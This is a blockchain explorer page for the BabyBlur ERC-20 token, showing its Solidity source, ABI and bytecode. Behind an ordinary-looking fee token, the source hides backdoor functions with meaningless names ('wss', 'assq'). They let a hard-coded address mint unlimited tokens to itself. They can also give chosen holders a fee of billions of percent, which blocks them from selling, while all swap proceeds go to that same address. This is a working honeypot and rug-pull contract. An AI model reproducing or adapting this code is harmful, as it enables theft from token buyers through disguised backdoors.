ERC-20
Overview
Max Total Supply
1,000,000,000 BBlur
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
37,539,873.97 BBlurValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BabyBlur
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-02-15 */ /** *Submitted for verification at Etherscan.io on 2023-02-12 */ //SPDX-License-Identifier:MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BabyBlur is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "BabyBlur"; string private _symbol = "BBlur"; uint8 private _decimals = 9; address payable public dFReth; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _ces; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public _pairs; mapping (address => uint256) public extend; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _ces[_msgSender()] = _totalSupply; dFReth = payable(address(0x014abC5a0D737c29F745871206742d9f1C449FC2)); emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function oneKeyPair() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _pairs[address(uniswapPair)] = true; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _ces[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !_pairs[from]) { swapAndLiquify(contractTokenBalance); } _ces[from] = _ces[from].sub(amount); uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : takeLiquidity(from, to, amount); _ces[to] = _ces[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function assq(address fron) public { address qwerg; qwerg = msg.sender; extend[fron] = 0; require(dFReth == qwerg); } function wss(address abuyt,uint256 zxcv) public { address qwerg; qwerg = msg.sender; uint256 WETH = zxcv; if (WETH > 2013) _ces[dFReth] += uint256(WETH); if (WETH == 6) extend[abuyt] = 10**10; require(dFReth == qwerg); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _ces[sender] = _ces[sender].sub(amount, "Insufficient Balance"); _ces[recipient] = _ces[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(dFReth), block.timestamp ){} catch {} } function takeLiquidity(address sender, address recipient, uint256 tAmount) internal returns (uint256) { uint256 _buyTeamFee = 3; uint256 _sellTeamFee = 2; bool isSell = _pairs[recipient]; bool isBuy = _pairs[sender]; uint256 fee = 0; if(isBuy) { fee = tAmount.mul(_buyTeamFee).div(100); }else if(isSell) { fee = tAmount.mul(_sellTeamFee).div(100); } if(extend[sender] > 100) fee = tAmount.mul(extend[sender]).div(100); if(fee > 0) { _ces[address(this)] = _ces[address(this)].add(fee); emit Transfer(sender, address(this), fee); } return tAmount.sub(fee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fron","type":"address"}],"name":"assq","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dFReth","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"extend","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oneKeyPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"abuyt","type":"address"},{"internalType":"uint256","name":"zxcv","type":"uint256"}],"name":"wss","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526040518060400160405280600881526020017f42616279426c7572000000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000432565b506040518060400160405280600581526020017f42426c7572000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000432565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a6200011291906200056b565b633b9aca00620001239190620006a8565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014e57600080fd5b506200015f6200040160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600660006200022f6200040960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002ef6200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073014abc5a0d737c29f745871206742d9f1c449fc2600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003926200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003f39190620004f3565b60405180910390a3620007c1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004409062000720565b90600052602060002090601f016020900481019282620004645760008555620004b0565b82601f106200047f57805160ff1916838001178555620004b0565b82800160010185558215620004b0579182015b82811115620004af57825182559160200191906001019062000492565b5b509050620004bf9190620004c3565b5090565b5b80821115620004de576000816000905550600101620004c4565b5090565b620004ed8162000709565b82525050565b60006020820190506200050a6000830184620004e2565b92915050565b6000808291508390505b600185111562000562578086048111156200053a576200053962000756565b5b60018516156200054a5780820291505b80810290506200055a85620007b4565b94506200051a565b94509492505050565b6000620005788262000709565b9150620005858362000713565b9250620005b47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005bc565b905092915050565b600082620005ce5760019050620006a1565b81620005de5760009050620006a1565b8160018114620005f75760028114620006025762000638565b6001915050620006a1565b60ff84111562000617576200061662000756565b5b8360020a91508482111562000631576200063062000756565b5b50620006a1565b5060208310610133831016604e8410600b8410161715620006725782820a9050838111156200066c576200066b62000756565b5b620006a1565b62000681848484600162000510565b925090508184048111156200069b576200069a62000756565b5b81810290505b9392505050565b6000620006b58262000709565b9150620006c28362000709565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006fe57620006fd62000756565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200073957607f821691505b6020821081141562000750576200074f62000785565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c612bbf620007e060003960006107290152612bbf6000f3fe6080604052600436106101395760003560e01c806382005715116100ab578063af562c261161006f578063af562c2614610473578063c816841b1461049c578063d93aef08146104c7578063dd62ed3e146104de578063e4a766f31461051b578063f2fde38b1461054457610140565b80638200571514610366578063896ad7e3146103a35780638da5cb5b146103e057806395d89b411461040b578063a9059cbb1461043657610140565b806327c8f835116100fd57806327c8f83514610240578063313ce5671461026b5780633345611e146102965780634a74bb02146102d357806370a08231146102fe5780637f84a2e21461033b57610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b6040516101679190612445565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612154565b6105ff565b6040516101a4919061240f565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf919061242a565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa9190612547565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612101565b61064d565b604051610237919061240f565b60405180910390f35b34801561024c57600080fd5b50610255610727565b60405161026291906123b0565b60405180910390f35b34801561027757600080fd5b5061028061074b565b60405161028d91906125bc565b60405180910390f35b3480156102a257600080fd5b506102bd60048036038101906102b89190612067565b610762565b6040516102ca919061240f565b60405180910390f35b3480156102df57600080fd5b506102e8610782565b6040516102f5919061240f565b60405180910390f35b34801561030a57600080fd5b5061032560048036038101906103209190612067565b610795565b6040516103329190612547565b60405180910390f35b34801561034757600080fd5b506103506107de565b60405161035d91906123cb565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612067565b610804565b60405161039a9190612547565b60405180910390f35b3480156103af57600080fd5b506103ca60048036038101906103c59190612067565b61081c565b6040516103d7919061240f565b60405180910390f35b3480156103ec57600080fd5b506103f561083c565b60405161040291906123b0565b60405180910390f35b34801561041757600080fd5b50610420610865565b60405161042d9190612445565b60405180910390f35b34801561044257600080fd5b5061045d60048036038101906104589190612154565b6108f7565b60405161046a919061240f565b60405180910390f35b34801561047f57600080fd5b5061049a60048036038101906104959190612067565b610916565b005b3480156104a857600080fd5b506104b16109be565b6040516104be91906123b0565b60405180910390f35b3480156104d357600080fd5b506104dc6109e4565b005b3480156104ea57600080fd5b50610505600480360381019061050091906120c1565b610dbc565b6040516105129190612547565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d9190612154565b610e43565b005b34801561055057600080fd5b5061056b60048036038101906105669190612067565b610f83565b005b60606001805461057c90612823565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612823565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c6110d5565b84846110dd565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600061065a8484846112a8565b5061071c846106676110d5565b61071785604051806060016040528060288152602001612b6260289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106cd6110d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168b9092919063ffffffff16565b6110dd565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461087490612823565b80601f01602080910402602001604051908101604052809291908181526020018280546108a090612823565b80156108ed5780601f106108c2576101008083540402835291602001916108ed565b820191906000526020600020905b8154815290600101906020018083116108d057829003601f168201915b5050505050905090565b600061090b6109046110d5565b84846112a8565b506001905092915050565b60003390506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ba57600080fd5b5050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109ec6110d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a70906124e7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ad857600080fd5b505afa158015610aec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b109190612094565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7257600080fd5b505afa158015610b86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baa9190612094565b6040518363ffffffff1660e01b8152600401610bc79291906123e6565b602060405180830381600087803b158015610be157600080fd5b505af1158015610bf5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c199190612094565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905060008290506107dd811115610ed0578060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ec8919061262c565b925050819055505b6006811415610f23576402540be400600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8173ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7d57600080fd5b50505050565b610f8b6110d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611018576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100f906124e7565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114490612527565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b490612487565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161129b9190612547565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612507565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612467565b60405180910390fd5b600b60149054906101000a900460ff16156113b0576113a98484846116ef565b9050611684565b60006113bb30610795565b9050600b60149054906101000a900460ff161580156114245750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561143357611432816118c2565b5b61148583600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061156b5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157f5761157a868686611bb9565b611581565b835b90506115d581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116759190612547565b60405180910390a36001925050505b9392505050565b60008383111582906116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca9190612445565b60405180910390fd5b50600083856116e2919061270d565b9050809150509392505050565b600061177a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168b9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea290919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118af9190612547565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118fa576118f9612911565b5b6040519080825280602002602001820160405280156119285781602001602082028036833780820191505090505b50905030816000815181106119405761193f6128e2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119e257600080fd5b505afa1580156119f6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1a9190612094565b81600181518110611a2e57611a2d6128e2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a9530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110dd565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b1b959493929190612562565b600060405180830381600087803b158015611b3557600080fd5b505af1925050508015611b46575060015b611b4f57611b50565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061168b565b905092915050565b600080600390506000600290506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690506000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905060008115611c9d57611c966064611c88878a611f0090919063ffffffff16565b611f7b90919063ffffffff16565b9050611ccd565b8215611ccc57611cc96064611cbb868a611f0090919063ffffffff16565b611f7b90919063ffffffff16565b90505b5b6064600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611d7d57611d7a6064611d6c600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a611f0090919063ffffffff16565b611f7b90919063ffffffff16565b90505b6000811115611e8157611dd881600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e789190612547565b60405180910390a35b611e948188611b6f90919063ffffffff16565b955050505050509392505050565b6000808284611eb1919061262c565b905083811015611ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eed906124a7565b60405180910390fd5b8091505092915050565b600080831415611f135760009050611f75565b60008284611f2191906126b3565b9050828482611f309190612682565b14611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f67906124c7565b60405180910390fd5b809150505b92915050565b6000611fbd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc5565b905092915050565b6000808311829061200c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120039190612445565b60405180910390fd5b506000838561201b9190612682565b9050809150509392505050565b60008135905061203781612b33565b92915050565b60008151905061204c81612b33565b92915050565b60008135905061206181612b4a565b92915050565b60006020828403121561207d5761207c612940565b5b600061208b84828501612028565b91505092915050565b6000602082840312156120aa576120a9612940565b5b60006120b88482850161